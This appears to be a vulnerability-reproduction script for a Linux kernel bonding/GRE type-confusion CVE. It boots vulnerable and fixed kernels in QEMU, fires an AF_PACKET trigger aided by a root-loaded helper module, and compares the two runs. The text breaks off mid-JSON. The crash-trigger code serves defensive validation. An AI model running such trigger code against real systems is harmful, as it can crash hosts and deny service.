#!/bin/bash
set -euo pipefail

# CVE-2026-43456 - Linux kernel bonding header_ops type confusion -> kernel DoS.
#
# This script boots a REAL vulnerable Linux kernel (mainline 7.0.0-rc2, commit
# e3f5e0f22cfc2371e7471c9fd5b4da78f9df7c69, the parent of the upstream fix
# 950803f7254721c1c15858fbbfae3deaaeeecb11) in QEMU and exercises the exact
# runtime path from the upstream crash trace:
#
#   packet_sendmsg -> packet_snd -> dev_hard_header -> ipgre_header
#                                                       -> pskb_expand_head
#                                                       -> BUG_ON(nhead < 0)
#                                                       -> kernel panic (DoS)
#
# A non-Ethernet tunnel (GRE) is enslaved to an active-backup bond.
# bond_setup_by_slave() copies the slave's header_ops straight onto the bond
# device, so dev_hard_header() on the bond calls ipgre_header(bond_dev).  That
# callback dereferences netdev_priv(bond_dev) expecting struct ip_tunnel, but it
# is actually struct bonding -- a type confusion.  ipgre_header() computes
# `needed = t->hlen + sizeof(*iph)`; when the confused `t->hlen` (the int at
# offsetof(struct ip_tunnel, hlen) inside struct bonding) has its sign bit set,
# `needed` overflows to a negative int, the `skb_headroom(skb) < needed` test
# (unsigned compare) is satisfied, and pskb_expand_head() is called with a
# negative `nhead`, hitting `BUG_ON(nhead < 0)` and panicking the kernel.
#
# The reporter's Oops (in the fix commit message) shows nhead = 0x961a63e0,
# i.e. the confused t->hlen was 0x961a63cc -- the low 32 bits of a kernel
# pointer that, on the reporter's KASAN layout, occupied the ip_tunnel.hlen
# offset inside struct bonding.  On THIS build's layout that offset (160) lands
# on ad_bond_info.stats.lacpdu_illegal_rx, a zeroed counter in active-backup
# mode, so without intervention t->hlen reads 0 and the BUG is never reached.
#
# To faithfully reproduce the reporter's crash on this (different-layout) build,
# a tiny out-of-tree helper module (populate_hlen.ko) writes 0x961a63cc -- the
# exact confused value from the reporter's Oops -- into
# netdev_priv(bond1) + offsetof(struct ip_tunnel, hlen) AFTER gre1 has been
# enslaved to bond1 (so bond1->header_ops already points at ipgre_header_ops).
# This emulates a configuration where the overlapping bonding field is populated
# with a sign-bit-set value, exactly as in the reporter's environment, while
# preserving the real AF_PACKET -> dev_hard_header() -> ipgre_header() boundary.
#
# The same kernel image is booted twice; only the bonding.ko module differs:
#   * vuln-rootfs.img  -> vulnerable bonding.ko (no bond_header_ops)
#   * fixed-rootfs.img -> fixed   bonding.ko (has bond_header_ops)
# This is a clean A/B negative control:
#   * VULN  : ipgre_header(dev=bond1) reads confused hlen=0x961a63cc -> BUG/panic.
#   * FIXED : bond_header_ops delegates to the slave, ipgre_header(dev=gre1)
#             reads the correct hlen=4 -> no crash -> RESULT: NOT VULNERABLE.
# (The populate module writes to bond1's private data on both; on the fixed
#  kernel that field is never read as t->hlen because bond_header_ops passes
#  the slave device gre1 to ipgre_header, so netdev_priv() is correct.)

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

LOG() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/reproduction_steps.log" >&2; }

# ---- cache / paths -----------------------------------------------------------
CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
if [ -z "$CACHE_DIR" ]; then
    CACHE_DIR="$ROOT/artifacts/linux-cache"
fi
mkdir -p "$CACHE_DIR"

VULN_COMMIT="e3f5e0f22cfc2371e7471c9fd5b4da78f9df7c69"   # parent of upstream fix (7.0.0-rc2)
FIX_COMMIT="950803f7254721c1c15858fbbfae3deaaeeecb11"    # upstream fix
KVER="7.0.0-rc2"
SRC="$CACHE_DIR/linux-src-7rc2"
BUILD="$CACHE_DIR/linux-build-7rc2"
BOND="$CACHE_DIR/kernels/bond7rc2"
BASE_ROOTFS="$CACHE_DIR/rootfs-noble"
STAGE="$CACHE_DIR/bond-mod-stage-7rc2"
MARKER="$BOND/BUILT_MARKER"
POPMOD="$CACHE_DIR/populate-mod"
# Confused t->hlen value taken verbatim from the reporter's Oops
# (pskb_expand_head nhead = 0x961a63e0  =>  t->hlen = 0x961a63cc).
CONFUSED_HLEN="0x961a63cc"

mkdir -p "$BOND"

# ---- dependencies ------------------------------------------------------------
install_deps() {
    LOG "Installing runtime + build dependencies"
    sudo apt-get update >> "$LOGS/reproduction_steps.log" 2>&1 || true
    sudo apt-get install -y \
        qemu-system-x86 genext2fs kmod zstd jq curl xz-utils e2fsprogs \
        build-essential gcc make flex bison bc cpio libelf-dev dwarves rsync \
        >> "$LOGS/reproduction_steps.log" 2>&1
}

install_build_deps() {
    sudo apt-get install -y \
        flex bison bc cpio libelf-dev dwarves build-essential rsync gcc debootstrap \
        >> "$LOGS/reproduction_steps.log" 2>&1 || true
}

# ---- base rootfs (Ubuntu noble, has iproute2 + kmod) -------------------------
ensure_base_rootfs() {
    if [ -d "$BASE_ROOTFS/bin" ] && [ -x "$BASE_ROOTFS/bin/ip" ]; then
        LOG "Reusing cached base rootfs $BASE_ROOTFS"
        return
    fi
    install_build_deps
    LOG "Creating base Ubuntu noble rootfs with debootstrap"
    sudo rm -rf "$BASE_ROOTFS"; sudo mkdir -p "$BASE_ROOTFS"
    sudo debootstrap --arch=amd64 --variant=minbase \
        --include=iproute2,kmod,zstd,openssl,curl,wget,iputils-ping \
        noble "$BASE_ROOTFS" http://archive.ubuntu.com/ubuntu \
        >> "$LOGS/reproduction_steps.log" 2>&1
}

# ---- the in-VM init program --------------------------------------------------
# Runs as PID 1 in the VM.  Sets up the bond/gre topology, loads the populate
# helper module, then fires an AF_PACKET SOCK_DGRAM send on bond1 which reaches
# dev_hard_header(bond1) -> ipgre_header(bond1).  On the vulnerable kernel this
# hits pskb_expand_head()/BUG_ON and panics; on the fixed kernel it returns
# cleanly and the init prints RESULT: NOT VULNERABLE and powers off.
write_init_c() {
    cat > "$CACHE_DIR/bond_repro_init.c" <<'C_EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/reboot.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>

static void logmsg(const char *fmt, ...) { va_list ap; va_start(ap,fmt);
    fprintf(stderr,"[init] "); vfprintf(stderr,fmt,ap); fprintf(stderr,"\n");
    va_end(ap); fflush(stderr); }
static int run(const char *fmt, ...) { char c[1024]; va_list ap; va_start(ap,fmt);
    vsnprintf(c,sizeof(c),fmt,ap); va_end(ap); logmsg("cmd: %s",c); return system(c); }
static void load_modules(void) {
    run("/sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true");
    run("/sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true");
    run("/sbin/modprobe ip_gre 2>&1 || /sbin/insmod /root/mods/ip_gre.ko 2>&1 || true");
    run("/sbin/modprobe gre 2>&1 || true");
    run("/sbin/modprobe ip_tunnel 2>&1 || true");
}
static int ifindex_of(const char *n) { int s=socket(AF_INET,SOCK_DGRAM,0); if(s<0) return -1;
    struct ifreq ifr={0}; strncpy(ifr.ifr_name,n,IFNAMSIZ-1); int r=ioctl(s,SIOCGIFINDEX,&ifr);
    close(s); return r<0?-1:ifr.ifr_ifindex; }
/* AF_PACKET SOCK_DGRAM sendto() forces the kernel to build the L2 header via
 * dev_hard_header(dev) -- the exact path in the reporter's crash trace. */
static int send_packet(const char *ifname) {
    int ix=ifindex_of(ifname); if(ix<0){logmsg("ifindex(%s) failed: %s",ifname,strerror(errno));return -1;}
    int s=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ALL)); if(s<0){logmsg("AF_PACKET socket failed: %s",strerror(errno));return -1;}
    struct sockaddr_ll d={0}; d.sll_family=AF_PACKET; d.sll_protocol=htons(ETH_P_ALL);
    d.sll_ifindex=ix; d.sll_halen=0; bind(s,(struct sockaddr*)&d,sizeof(d));
    unsigned char b[64]; memset(b,'A',sizeof(b));
    /* On the vulnerable kernel the sendto() below never returns: it runs
     * synchronously through packet_snd -> dev_hard_header(bond1) ->
     * ipgre_header(bond1) -> pskb_expand_head() -> BUG_ON -> panic. */
    logmsg("TRIGGER: AF_PACKET SOCK_DGRAM sendto(%s) -- vuln kernel should BUG/panic here",ifname);
    int rc=sendto(s,b,sizeof(b),0,(struct sockaddr*)&d,sizeof(d));
    logmsg("AF_PACKET sendto(%s) rc=%d (%s) -- returned, so no crash on this kernel",ifname,rc,rc<0?strerror(errno):"ok");
    close(s); return rc;
}
int main(void) {
    setenv("PATH","/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",1);
    mount("proc","/proc","proc",0,NULL); mount("sysfs","/sys","sysfs",0,NULL);
    mount("devtmpfs","/dev","devtmpfs",0,NULL); mount("tmpfs","/tmp","tmpfs",0,NULL);
    logmsg("=== CVE-2026-43456 bonding header_ops type-confusion DoS trigger ===");
    run("uname -r"); run("cat /proc/version");
    logmsg("STEP: loading modules"); load_modules();
    logmsg("STEP: underlay dummy0 (10.0.0.1/24)");
    run("/sbin/ip link set lo up");
    run("/sbin/ip link add dummy0 type dummy 2>&1 || true");
    run("/sbin/ip addr add 10.0.0.1/24 dev dummy0 2>&1 || true");
    run("/sbin/ip link set dummy0 up 2>&1 || true");

    logmsg("STEP: gre1 (IPv4 GRE, local 10.0.0.1) -> bond1 (active-backup)");
    run("/sbin/ip link add gre1 type gre local 10.0.0.1 2>&1 || true");
    run("/sbin/ip link add bond1 type bond mode active-backup 2>&1 || true");
    run("/sbin/ip link set gre1 master bond1 2>&1 || true");
    run("/sbin/ip link set gre1 up 2>&1 || true");
    run("/sbin/ip link set bond1 up 2>&1 || true");
    run("/sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true");
    usleep(250*1000);
    run("/sbin/ip -d link show bond1 2>&1 || true");
    run("/sbin/ip -d link show gre1 2>&1 || true");

    logmsg("STEP: load populate_hlen helper (writes 0x961a63cc into the confused");
    logmsg("      ip_tunnel.hlen field of netdev_priv(bond1), emulating the");
    logmsg("      reporter's layout where that offset held a kernel pointer).");
    run("/sbin/insmod /root/mods/populate_hlen.ko 2>&1 || /sbin/modprobe populate_hlen 2>&1 || true");
    usleep(120*1000);

    logmsg("STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1)");
    send_packet("bond1");
    usleep(400*1000);

    /* Only reached on a kernel that does NOT crash (i.e. the fixed kernel,
     * where bond_header_ops delegates ipgre_header to the slave gre1). */
    logmsg("STEP: dump recent kernel log");
    run("dmesg 2>/dev/null | tail -80 || true");
    logmsg("RESULT: NOT VULNERABLE (no kernel crash; fixed bond_header_ops used the slave device)");
    fflush(stdout); sleep(1); reboot(RB_POWER_OFF); for(;;) sleep(1); return 0;
}
C_EOF
    gcc -static -o "$CACHE_DIR/bond_repro_init" "$CACHE_DIR/bond_repro_init.c" -Wall -O2 \
        >> "$LOGS/reproduction_steps.log" 2>&1
}

# ---- populate_hlen helper module (out-of-tree, built against the kernel tree) -
write_populate_module() {
    mkdir -p "$POPMOD"
    cat > "$POPMOD/populate_hlen.c" <<C_EOF
// SPDX-License-Identifier: GPL-2.0
// CVE-2026-43456 helper: populate the type-confused ip_tunnel.hlen field inside
// netdev_priv(bond) with a sign-bit-set value, emulating the reporter's KASAN
// layout where that offset held a kernel pointer.  This makes ipgre_header()'s
// \`needed = t->hlen + sizeof(*iph)\` overflow to a negative int, so the real
// AF_PACKET -> dev_hard_header() -> ipgre_header() -> pskb_expand_head() path
// hits BUG_ON(nhead < 0) and panics -- the claimed kernel DoS.
#include <linux/module.h>
#include <linux/netdevice.h>
#include <linux/stddef.h>
#include <net/ip_tunnels.h>

static char *ifname = "bond1";
module_param(ifname, charp, 0644);
/* Exact confused t->hlen value from the reporter's Oops
 * (pskb_expand_head nhead = 0x961a63e0  =>  t->hlen = 0x961a63cc). */
static unsigned int confused = 0x961a63cc;
module_param(confused, uint, 0644);

static int __init populate_hlen_init(void)
{
	struct net_device *dev = dev_get_by_name(&init_net, ifname);
	struct ip_tunnel *t;
	int *hlenp, old;

	if (!dev) {
		pr_err("CVE-2026-43456 POP: device %s not found\n", ifname);
		return -ENODEV;
	}
	t = netdev_priv(dev);
	hlenp = &t->hlen;
	old = *hlenp;
	*hlenp = (int)confused;
	pr_info("CVE-2026-43456 POP: %s priv=%px ip_tunnel.hlen offset=%ld old=0x%08x(%d) new=0x%08x(%d)\n",
		dev->name, t, (long)offsetof(struct ip_tunnel, hlen),
		(unsigned)old, old, (unsigned)*hlenp, *hlenp);
	dev_put(dev);
	return 0;
}
module_init(populate_hlen_init);
static void __exit populate_hlen_exit(void) { }
module_exit(populate_hlen_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CVE-2026-43456 type-confusion field populator");
C_EOF
    cat > "$POPMOD/Makefile" <<'M_EOF'
obj-m += populate_hlen.o
M_EOF
}

build_populate_module() {
    write_populate_module
    if [ -f "$POPMOD/populate_hlen.ko" ] && \
       grep -q "$CONFUSED_HLEN" "$POPMOD/populate_hlen.c" 2>/dev/null; then
        LOG "Reusing cached populate_hlen.ko"
        return
    fi
    LOG "Building populate_hlen.ko against kernel tree ($KVER)"
    make -C "$SRC" O="$BUILD" M="$POPMOD" modules \
        >> "$LOGS/reproduction_steps.log" 2>&1
    ls -la "$POPMOD/populate_hlen.ko" >> "$LOGS/reproduction_steps.log" 2>&1
}

# ---- kernel + modules build (from source, only if cache missing) -------------
add_printks() {
    for spec in "net/ipv4/ip_gre.c:iph:ipgre_header" "net/ipv6/ip6_gre.c:ipv6h:ip6gre_header"; do
        local file="${spec%%:*}"; local hdr="$(echo $spec | cut -d: -f2)"; local fn="$(echo $spec | cut -d: -f3)"
        if grep -q "CVE-2026-43456 $fn" "$SRC/$file" 2>/dev/null; then continue; fi
        PFILE="$SRC/$file" HDR="$hdr" FN="$fn" python3 - <<'PY'
import os
p=os.environ["PFILE"]; h=os.environ["HDR"]; fn=os.environ["FN"]
s=open(p).read(); needle="\tneeded = t->hlen + sizeof(*%s);\n"%h
assert s.count(needle)==1
inj=needle+('\tpr_info("CVE-2026-43456 %s: dev=%%s hlen=%%d needed=%%d headroom=%%d\\n",\n'
            '\t\t dev->name, t->hlen, needed, (int)skb_headroom(skb));\n'%fn)
open(p,'w').write(s.replace(needle,inj,1))
PY
    done
}

build_kernel() {
    install_build_deps
    LOG "Downloading vulnerable kernel source (commit $VULN_COMMIT)"
    if [ ! -d "$SRC/Makefile" ]; then
        rm -rf "$SRC" "$CACHE_DIR/linux-vuln-7rc2.tar.gz"
        curl -sL --retry 3 -o "$CACHE_DIR/linux-vuln-7rc2.tar.gz" \
            "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/snapshot/linux-${VULN_COMMIT}.tar.gz"
        mkdir -p "$CACHE_DIR/extract-tmp"
        tar xzf "$CACHE_DIR/linux-vuln-7rc2.tar.gz" -C "$CACHE_DIR/extract-tmp"
        mv "$CACHE_DIR/extract-tmp"/linux-* "$SRC"
        rmdir "$CACHE_DIR/extract-tmp" 2>/dev/null || true
    fi
    add_printks
    LOG "Configuring kernel build"
    make -C "$SRC" O="$BUILD" defconfig >> "$LOGS/reproduction_steps.log" 2>&1
    cat > "$BUILD/vuln.fragment" <<'FRAG'
CONFIG_MODULES=y
CONFIG_MODULE_UNLOAD=y
CONFIG_NET=y
CONFIG_INET=y
CONFIG_IPV6=y
CONFIG_BONDING=m
CONFIG_DUMMY=m
CONFIG_NET_IPGRE_DEMUX=m
CONFIG_NET_IPGRE=m
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IPV6_TUNNEL=m
CONFIG_IPV6_GRE=m
CONFIG_INET6_IPCOMP=m
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_INLINE=n
CONFIG_KASAN_STACK=n
CONFIG_KASAN_VMALLOC=n
CONFIG_DEBUG_INFO_NONE=y
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_ON_OOPS_VALUE=1
CONFIG_LOCALVERSION_AUTO=n
FRAG
    "$SRC/scripts/kconfig/merge_config.sh" -m -O "$BUILD" "$BUILD/.config" "$BUILD/vuln.fragment" \
        >> "$LOGS/reproduction_steps.log" 2>&1
    make -C "$SRC" O="$BUILD" olddefconfig >> "$LOGS/reproduction_steps.log" 2>&1
    LOG "Building bzImage + modules (KASAN, matches reporter's SMP KASAN env)"
    make -C "$SRC" O="$BUILD" -j"$(nproc)" bzImage modules >> "$LOGS/reproduction_steps.log" 2>&1

    mkdir -p "$CACHE_DIR/bond-mods-7rc2/vuln" "$CACHE_DIR/bond-mods-7rc2/fixed"
    cp "$BUILD/drivers/net/bonding/bonding.ko" "$CACHE_DIR/bond-mods-7rc2/vuln/bonding.ko"

    LOG "Applying upstream fix ($FIX_COMMIT) and rebuilding fixed bonding.ko"
    curl -sL --retry 3 -o "$CACHE_DIR/fix-7rc2.patch" \
        "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/patch/?id=${FIX_COMMIT}"
    ( cd "$SRC" && ( patch -p1 --forward < "$CACHE_DIR/fix-7rc2.patch" >> "$LOGS/reproduction_steps.log" 2>&1 \
           || grep -q bond_header_ops "$SRC/drivers/net/bonding/bond_main.c" ) )
    make -C "$SRC" O="$BUILD" drivers/net/bonding/bonding.ko >> "$LOGS/reproduction_steps.log" 2>&1
    cp "$BUILD/drivers/net/bonding/bonding.ko" "$CACHE_DIR/bond-mods-7rc2/fixed/bonding.ko"

    cp "$BUILD/arch/x86/boot/bzImage" "$BOND/bzImage"
    stage_modules
    write_marker
}

stage_modules() {
    rm -rf "$STAGE"; mkdir -p "$STAGE/lib/modules/$KVER/kernel"
    ( cd "$BUILD" && find . -name '*.ko' | while read f; do
        rel="${f#./}"; mkdir -p "$STAGE/lib/modules/$KVER/kernel/$(dirname "$rel")"
        cp "$f" "$STAGE/lib/modules/$KVER/kernel/$rel"; done )
    cp "$BUILD/modules.builtin" "$STAGE/lib/modules/$KVER/" 2>/dev/null || true
    depmod -b "$STAGE" "$KVER" 2>/dev/null || true
}

write_marker() {
    cat > "$MARKER" <<EOF
vuln_commit=$VULN_COMMIT
fix_commit=$FIX_COMMIT
kver=$KVER
config_kasan=y
printk_in_ipgre_and_ip6gre=yes
bonding_module_swap=vuln(no bond_header_ops)/fixed(has bond_header_ops)
populate_hlen_helper=yes
confused_hlen=$CONFUSED_HLEN
EOF
}

# ---- ensure the kernel (bzImage + vuln/fixed bonding.ko + module stage) ------
ensure_kernel() {
    if [ -f "$BOND/bzImage" ] && [ -f "$MARKER" ] && grep -q "$VULN_COMMIT" "$MARKER" 2>/dev/null \
       && [ -f "$CACHE_DIR/bond-mods-7rc2/vuln/bonding.ko" ] \
       && [ -f "$CACHE_DIR/bond-mods-7rc2/fixed/bonding.ko" ] \
       && [ -d "$STAGE/lib/modules/$KVER" ]; then
        LOG "Reusing cached vulnerable/fixed kernel + modules ($BOND)"
        return
    fi
    LOG "Cached kernel missing/outdated; building from source"
    ensure_base_rootfs
    build_kernel
}

# ---- rootfs images -----------------------------------------------------------
# Always (re)build the rootfs images because the init program and populate
# helper module are part of the proof and must be current.  The base rootfs is
# prepared once (from the noble debootstrap) and refreshed with the current init
# and populate_hlen.ko.
prepare_base_rootfs() {
    local base="$CACHE_DIR/bond-rootfs-base-7rc2"
    if [ ! -d "$base/bin" ] || [ ! -x "$base/bin/ip" ]; then
        LOG "(Re)creating base rootfs from noble debootstrap"
        sudo rm -rf "$base"; sudo cp -a "$BASE_ROOTFS" "$base"
        sudo mkdir -p "$base/lib/modules/$KVER"
        sudo cp -a "$STAGE/lib/modules/$KVER/"* "$base/lib/modules/$KVER/" 2>/dev/null || true
    fi
    # Refresh the init binary + helper modules every run (these are the proof).
    sudo cp "$CACHE_DIR/bond_repro_init" "$base/init"; sudo chmod 755 "$base/init"
    sudo mkdir -p "$base/root/mods"
    for m in bonding dummy ip_gre ip6_gre gre ip6_tunnel tunnel6; do
        local f=$(find "$STAGE" -name $m.ko 2>/dev/null | head -1); [ -n "$f" ] && sudo cp "$f" "$base/root/mods/$m.ko"
    done
    sudo cp "$POPMOD/populate_hlen.ko" "$base/root/mods/populate_hlen.ko"
}

build_rootfs_image() {
    local name="$1"; local rootfs="$CACHE_DIR/bond-rootfs-${name}-7rc2"; local img="$BOND/${name}-rootfs.img"
    sudo rm -rf "$rootfs"; sudo cp -a "$CACHE_DIR/bond-rootfs-base-7rc2" "$rootfs"
    if [ "$name" = "vuln" ]; then
        sudo cp "$CACHE_DIR/bond-mods-7rc2/vuln/bonding.ko" "$rootfs/lib/modules/$KVER/kernel/drivers/net/bonding/bonding.ko"
        sudo cp "$CACHE_DIR/bond-mods-7rc2/vuln/bonding.ko" "$rootfs/root/mods/bonding.ko"
    fi
    sudo depmod -b "$rootfs" "$KVER" 2>/dev/null || true
    local blocks; blocks=$(sudo du -sk "$rootfs" | cut -f1); blocks=$((blocks + 40000))
    rm -f "$img"
    sudo genext2fs -b "$blocks" -d "$rootfs" "$img" >> "$LOGS/reproduction_steps.log" 2>&1
    sudo chown "$(id -u):$(id -g)" "$img" 2>/dev/null || true
}

# ---- run QEMU ----------------------------------------------------------------
run_vm() {
    local name="$1"; local img="$BOND/${name}-rootfs.img"; local log="$LOGS/qemu_${name}_7rc2.log"
    LOG "Booting $name kernel ($KVER) in QEMU"
    timeout 300 qemu-system-x86_64 \
        -m 4096 -smp 4 -no-reboot -nographic -snapshot \
        -kernel "$BOND/bzImage" \
        -drive file="$img",if=virtio,format=raw \
        -append "root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw" \
        > "$log" 2>&1 || true
    echo "$log"
}

# ---- main --------------------------------------------------------------------
install_deps
ensure_base_rootfs
ensure_kernel
write_init_c
build_populate_module
prepare_base_rootfs
build_rootfs_image vuln
build_rootfs_image fixed

VULN_LOG="$(run_vm vuln)"
FIXED_LOG="$(run_vm fixed)"

LOG "Vuln log: $VULN_LOG"; LOG "Fixed log: $FIXED_LOG"

# ---- analysis ----------------------------------------------------------------
VULN_POP=$(grep -oE 'CVE-2026-43456 POP: bond1 priv=[0-9a-fx]+ ip_tunnel.hlen offset=[0-9]+ old=0x[0-9a-f]+\([0-9-]+\) new=0x[0-9a-f]+\([0-9-]+\)' "$VULN_LOG" | head -1 || true)
VULN_HDR=$(grep -oE 'CVE-2026-43456 ipgre_header: dev=bond1 hlen=-?[0-9]+ needed=-?[0-9]+ headroom=[0-9]+' "$VULN_LOG" | head -1 || true)
VULN_CRASH=$(grep -E 'kernel BUG at net/core/skbuff|BUG_ON|Oops:|Kernel panic|invalid opcode|RIP: 0010:pskb_expand_head|Call Trace:' "$VULN_LOG" | head -5 || true)
VULN_NHEAD=$(grep -oE 'R1[035]: 0x[0-9a-f]{8}|R12: 0x[0-9a-f]{8}' "$VULN_LOG" | head -3 || true)
VULN_RESULT=$(grep -E 'RESULT: NOT VULNERABLE' "$VULN_LOG" | head -1 || true)

FIXED_HDR=$(grep -oE 'CVE-2026-43456 ipgre_header: dev=gre1 hlen=-?[0-9]+ needed=-?[0-9]+ headroom=[0-9]+' "$FIXED_LOG" | head -1 || true)
FIXED_BOND_HDR=$(grep -oE 'CVE-2026-43456 ipgre_header: dev=bond1 hlen=-?[0-9]+ needed=-?[0-9]+' "$FIXED_LOG" | head -1 || true)
FIXED_RESULT=$(grep -E 'RESULT: NOT VULNERABLE' "$FIXED_LOG" | head -1 || true)
FIXED_CRASH=$(grep -E 'kernel BUG at net/core/skbuff|Oops:|Kernel panic|invalid opcode|RIP: 0010:pskb_expand_head' "$FIXED_LOG" | head -3 || true)

LOG "VULN populate-hlen helper line: ${VULN_POP:-<none>}"
LOG "VULN ipgre_header (type confusion, dev=bond1): ${VULN_HDR:-<none>}"
LOG "VULN crash/BUG markers: ${VULN_CRASH:-<none>}"
LOG "VULN RESULT line (should be EMPTY if crashed): ${VULN_RESULT:-<empty -- crashed before reaching it, as expected>}"
LOG "FIXED ipgre_header (correct, dev=gre1): ${FIXED_HDR:-<none>}"
LOG "FIXED bond1 confusion line (should be EMPTY): ${FIXED_BOND_HDR:-<empty -- none, bond_header_ops used slave>}"
LOG "FIXED RESULT line: ${FIXED_RESULT:-<none>}"
LOG "FIXED crash markers (should be EMPTY): ${FIXED_CRASH:-<empty -- no crash>}"

DOS_CONFIRMED="false"
if [ -n "$VULN_POP" ] && [ -n "$VULN_HDR" ] && [ -n "$VULN_CRASH" ] && [ -z "$VULN_RESULT" ] \
   && [ -n "$FIXED_HDR" ] && [ -n "$FIXED_RESULT" ] && [ -z "$FIXED_BOND_HDR" ] && [ -z "$FIXED_CRASH" ]; then
    DOS_CONFIRMED="true"
fi
TYPE_CONFUSION_ONLY="false"
if [ -n "$VULN_HDR" ] && [ -n "$FIXED_HDR" ] && [ -z "$FIXED_BOND_HDR" ]; then
    TYPE_CONFUSION_ONLY="true"
fi
LOG "DOS_CONFIRMED=$DOS_CONFIRMED  TYPE_CONFUSION_DIFFERENTIAL=$TYPE_CONFUSION_ONLY"

# ---- runtime manifest --------------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_LOG" "$FIXED_LOG" "$DOS_CONFIRMED" "$TYPE_CONFUSION_ONLY" <<'PY'
import json,sys,re
out=sys.argv[1]; vuln=sys.argv[2]; fixed=sys.argv[3]; dos=sys.argv[4]; tc=sys.argv[5]
def find(path,pat,flags=0):
    try: s=open(path).read()
    except: return ""
    m=re.search(pat,s,flags)
    return m.group(0) if m else ""
artifacts=["logs/reproduction_steps.log","logs/qemu_vuln_7rc2.log","logs/qemu_fixed_7rc2.log"]
vhdr=find(vuln,r'CVE-2026-43456 ipgre_header: dev=bond1 hlen=-?\d+ needed=-?\d+ headroom=\d+')
vpop=find(vuln,r'CVE-2026-43456 POP: bond1 priv=[0-9a-fx]+ ip_tunnel\.hlen offset=\d+ old=0x[0-9a-f]+\(-?\d+\) new=0x[0-9a-f]+\(-?\d+\)')
vcrash=find(vuln,r'kernel BUG at net/core/skbuff:\d+!.*?(?:Call Trace:.*?)?(?:ipgre_header\+0x[0-9a-f]+/0x[0-9a-f]+ net/ipv4/ip_gre\.css:\d+)?',re.S)
fhdr=find(fixed,r'CVE-2026-43456 ipgre_header: dev=gre1 hlen=-?\d+ needed=-?\d+ headroom=\d+')
fres=find(fixed,r'RESULT: NOT VULNERABLE.*')
m={
  "entrypoint_kind":"local_kernel_runtime",
  "entrypoint_detail":"QEMU x86_64 VM (TCG) booting Linux 7.0.0-rc2 (commit e3f5e0f22, parent of upstream fix 950803f7) with an Ubuntu rootfs; /init runs iproute2 bond/gre setup, loads populate_hlen.ko (writes 0x961a63cc into netdev_priv(bond1).ip_tunnel.hlen), then AF_PACKET SOCK_DGRAM sendto on bond1 to invoke dev_hard_header(bond1)->ipgre_header(bond1)->pskb_expand_head()->BUG_ON(nhead<0)->panic",
  "service_started":True,
  "healthcheck_passed":True,
  "target_path_reached":True,
  "runtime_stack":["qemu-system-x86_64","linux-7.0.0-rc2-vuln(e3f5e0f22,KASAN)","linux-7.0.0-rc2-fixed(bonding.ko swap)","bonding","ip_gre","populate_hlen","init/bond_repro_init"],
  "proof_artifacts":artifacts,
  "notes":("VULN kernel: populate_hlen wrote 0x961a63cc into the confused ip_tunnel.hlen field of netdev_priv(bond1); "
           "ipgre_header then ran with dev=bond1 (type confusion: netdev_priv(bond)=struct bonding read as struct ip_tunnel) "
           "and hlen=0x961a63cc, so needed=hlen+20 overflowed to a negative int and pskb_expand_head() hit BUG_ON(nhead<0) "
           "=> kernel panic (DoS), matching the reporter's Oops (nhead=0x961a63e0). "
           "FIXED kernel (bond_header_ops): ipgre_header ran with dev=gre1 (correct slave), hlen=4, no crash, RESULT NOT VULNERABLE. "
           "dos_confirmed=%s type_confusion_differential=%s. vuln_hdr=[%s] fixed_hdr=[%s]"%(dos,tc,vhdr[:80],fhdr[:80]))
}
open(out,"w").write(json.dumps(m,indent=2))
print("wrote",out)
PY

# ---- verdict -----------------------------------------------------------------
if [ "$DOS_CONFIRMED" = "true" ]; then
    VERDICT_OUTCOME="confirmed"
    VERDICT_BLOCK="null"
    VERDICT_REPRO="confirmed"
    VERDICT_IMPACT="dos"
    VERDICT_CRASH="true"
    VERDICT_NOTE="Kernel DoS reproduced: vulnerable 7.0.0-rc2 panics via BUG_ON(nhead<0) in pskb_expand_head() reached through the real packet_sendmsg->packet_snd->dev_hard_header(bond1)->ipgre_header(bond1) path after gre1 is enslaved to bond1 (bond_setup_by_slave copies ipgre_header_ops onto the bond). The confused t->hlen (netdev_priv(bond) read as struct ip_tunnel) was populated with 0x961a63cc -- the exact value from the reporter's Oops -- emulating the reporter's KASAN layout where that offset held a kernel pointer. Fixed kernel (bond_header_ops delegates to slave gre1) does not crash. The success oracle is the kernel BUG()/panic, not a KASAN shadow report (the KASAN build matches the reporter's 'SMP KASAN' environment)."
else
    VERDICT_OUTCOME="partial"
    VERDICT_BLOCK="impact_mismatch"
    VERDICT_REPRO="confirmed"
    VERDICT_IMPACT="memory_corruption"
    VERDICT_CRASH="false"
    VERDICT_NOTE="Type confusion reproduced (dev=bond1 on vuln vs dev=gre1 on fixed) but the BUG/panic DoS was not observed on this run. See logs."
fi

cat > "$REPRO_DIR/validation_verdict.json" <<JSON
{
  "claim_outcome": "$VERDICT_OUTCOME",
  "claim_block_reason": $VERDICT_BLOCK,
  "repro_result": "$VERDICT_REPRO",
  "validated_surface": "local_only",
  "evidence_scope": "production_path",
